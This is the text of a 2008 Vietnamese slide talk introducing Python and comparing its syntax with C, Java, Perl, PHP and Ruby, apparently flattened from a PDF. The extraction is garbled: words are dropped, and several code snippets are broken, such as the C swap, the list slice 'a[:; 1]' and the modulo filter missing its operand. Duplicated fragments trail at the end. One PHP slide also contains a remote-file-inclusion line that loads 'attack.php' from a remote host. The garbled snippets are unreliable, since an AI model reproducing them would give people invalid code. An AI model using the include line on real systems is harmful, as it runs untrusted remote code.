Biết đến Python từ 2003Học trong 5 tiếngSử dụng hàng ngày cho đến tận bây giờSáu từ để diễn đạt: Học 5 tiếng, dùng suốt đờiVietnamese PythonPython cho người ViệtDo người yêu thích PythonCho người yêu thích Python
Python, ngôn ngữ lập trình cho phần đời lại Nguyễn Thành Nam http://www.vithon.org TPHCM, 2008-11-15 http://www.bluemoon.com.vn Nội dung • • • • • • Kinh nghiệm thân Giới thiệu Python Nguyên lý Python So sánh với ngôn ngữ khác Giới thiệu Vithon Hỏi trả lời Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – Kinh nghiệm thân • • • • • • • Biết đến Python từ 2003 Học tiếng Sử dụng hàng ngày tận Sáu từ để diễn đạt: Học tiếng, dùng suốt đời! Gặp nhiều khó khăn việc soạn slide Gần quên Java C/C++ Đã quên Perl, PHP Ruby Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – Giới thiệu Python • • • Ra đời năm 1991 Tác giả Guido Van Rossum, Hà Lan Là ngôn ngữ lập trình • • • • • • Tổng quát Kịch (scripting) Kiểu vịt (duck typing) Kiểu động (dynamic typing) Nhưng có kiểu (strongly typed) Kèm sẵn pin (Battery included) Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – Nguyên lý Python • Ưu tiên cho việc đọc lại code • Khoảng trắng bắt buộc • Hạn chế sử dụng ký tự đặc biệt • Chương trình phải viết người đọc, trùng hợp để máy tính thực thi (Abelson & Sussman, MIT) • Sự đơn giản xem trọng • Đã có while, nên bỏ do-while • Đã có elif, nên bỏ switch-case Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – Nguyên lý Python • Ngôn ngữ khác có hộp, Python có thẻ Ngôn ngữ khác Python (tên) (biến) a=1 a=2 b=a Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – Nguyên lý Python • Kiểu bản: int, long, float, dãy (sequence), từ điển (dictionary) • • • • • • • A = 123 # int B = 123456789123456789 # long C = 123.456 # float D = (1, 2, 3) # tuple E = [1, 2, 3] # list F = “12345” # string G = { : ‘abc’, : “def” } # dictionary Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – Nguyên lý Python • Cấu trúc lặp điều khiển • if/elif/else • while • for • Xử lý biệt lệ • • • • try/except try/finally try/except/else try/except/finally (Python 2.5+) Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – Nguyên lý Python • • • • • Khai báo hàm def Khai báo lớp class Đa kế thừa (multiple inheritance) Tất đối tượng (gói, mô-đun, lớp, hàm, biến, v.v…) “tên” không gian tên (namespace) tương ứng Và đơn giản thôi! Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – So sánh với ngôn ngữ khác Tính dễ đọc Perl ~!@#$%^&*() Ruby ~!@#$%^&*() Python ~%^&*() Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – So sánh với ngôn ngữ khác Hoán vị số C int t = a = b = a, b, t; a; b; t; Python a, b = b, a a, b, c=b, c, a Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – So sánh với ngôn ngữ khác Tính toán số lớn Java Python BigInteger a, b, c; a = 12345678901234567890 a = new BigInteger(“12345678 b = 901234567890”); 12345678901234567890 b = new c = a * b BigInteger(“12345678 901234567890”); c = a.multiply(b); Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – So sánh với ngôn ngữ khác In phần tử mảng n > Java Python System.out.print(a[0]) print “ “.join(a) ; for (int i = 1; i < a.length; i++) { System.out.print(“ “ + a[i]); } Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – So sánh với ngôn ngữ khác In phần tử mảng n > Java Python System.out.print(a[0]) print “ “.join(a[:; 1]), “va”, a[-1] for (int i = 1; i < a.length - 1; i++) { System.out.print(“ “ + a[i]); } System.out.print(“ va “ + a[a.length – 1]); Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – So sánh với ngôn ngữ khác Đọc file Java Python // too many lines // to show // here f = open(filename, “rb”) d = f.read() f.close() Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – So sánh với ngôn ngữ khác Đọc dòng Perl Python open(DATA, f = open(filename, “filename”); “r”) while ($line = ) for line in f: { print line print $line; f.close() } close(DATA); Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – So sánh với ngôn ngữ khác Lọc phần tử mảng Java Python for (int i=0; i < a.length; i++) { if (a[i] % == 0) b.add(a[i]); } b = [x for x in a if (x % 2) == 0] Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – So sánh với ngôn ngữ khác Lấy file từ URL PHP Python $file = import urllib2 fopen(“http://www.go r = ogle.com”); urllib2.urlopen(“htt p://www.google.com”) include(“http://remote/attack.php”); Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – So sánh với ngôn ngữ khác Đảo chuỗi PHP Python strrev(“abc”); “abc”[::-1] # cba Ruby “abc”.reverse Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – So sánh với ngôn ngữ khác Chuyển mã PHP Python gzdeflate(base64_decod “abc”.encode(“zlib”).e e(base64_encode(gzco ncode(“base64”).deco mpress(“abc”)))) de(“base64”).decode( “zlib”) Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – So sánh với ngôn ngữ khác Ứng dụng web PHP Python N/A Ví dụ chương trình cờ tướng sử dụng AJAX với tính trò chuyện viết 48 tiếng đồng hồ Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – Giới thiệu Vithon • • • • • • • • Vietnamese Python Python cho người Việt Do người yêu thích Python Cho người yêu thích Python Tài liệu, diễn đàn, dự án, viết, dịch Hãy tham gia http://www.vithon.org Python số nha! Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – Cảm ơn Life is short, use Python! Python cho phần đời lại! Nguyễn Thành Nam namn@bluemoon.com.vn Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – Hỏi trả lời Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – ... http://www.vithon.org Python số nha! Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – Cảm ơn Life is short, use Python! Python cho phần đời lại! Nguyễn Thành Nam namn@bluemoon.com.vn Blue Moon. .. hồ Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – Giới thiệu Vithon • • • • • • • • Vietnamese Python Python cho người Việt Do người yêu thích Python Cho người yêu thích Python. .. giản xem trọng • Đã có while, nên bỏ do-while • Đã có elif, nên bỏ switch-case Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – Nguyên lý Python • Ngôn ngữ khác có hộp, Python